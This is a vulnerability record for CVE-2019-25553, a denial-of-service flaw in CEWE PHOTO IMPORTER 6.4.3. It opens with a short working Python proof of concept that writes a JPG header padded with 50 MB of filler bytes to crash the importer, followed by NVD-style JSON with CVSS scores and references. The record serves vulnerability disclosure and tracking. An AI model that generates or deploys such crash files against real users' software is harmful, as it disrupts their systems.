CVE-2019-25553

import struct # Create a malicious JPG file with an oversized buffer # to trigger the Denial of Service vulnerability in CEWE PHOTO IMPORTER. filename = "malicious_exploit.jpg" # Standard JPG Start of Image (SOI) marker and basic header jpg_header = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00' # Payload: Oversized buffer (e.g., 50MB of 'A') to trigger the crash payload = b'A' * (50 * 1024 * 1024) # Write the exploit file with open(filename, "wb") as f: f.write(jpg_header) f.write(payload) print(f"[+] POC file generated: {filename}") print("[+] Usage: Import this file into CEWE PHOTO IMPORTER to trigger the crash.")

{"cve": {"id": "CVE-2019-25553", "sourceIdentifier": "[email protected]", "published": "2026-03-21T13:16:17.680", "lastModified": "2026-04-10T01:19:10.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CEWE PHOTO IMPORTER 6.4.3 contains a denial of service vulnerability that allows local attackers to crash the application by importing a specially crafted image file. Attackers can create a malformed JPG file with an oversized buffer and trigger the crash through the import functionality during the image processing workflow."}, {"lang": "es", "value": "CEWE PHOTO IMPORTER 6.4.3 contiene una vulnerabilidad de denegación de servicio que permite a atacantes locales bloquear la aplicación al importar un archivo de imagen especialmente diseñado. Los atacantes pueden crear un archivo JPG malformado con un búfer de tamaño excesivo y provocar el bloqueo a través de la funcionalidad de importación durante el flujo de trabajo de procesamiento de imágenes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-226"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cewe:photo_importer:6.4.3:*:*:*:*:*:*:*", "matchCriteriaId": "B998E6F1-ECC3-4DA1-A746-2A8ED1A5EE20"}]}]}], "references": [{"url": "https://cewe-photoworld.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46862", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/cewe-photo-importer-denial-of-service-via-malformed-image", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}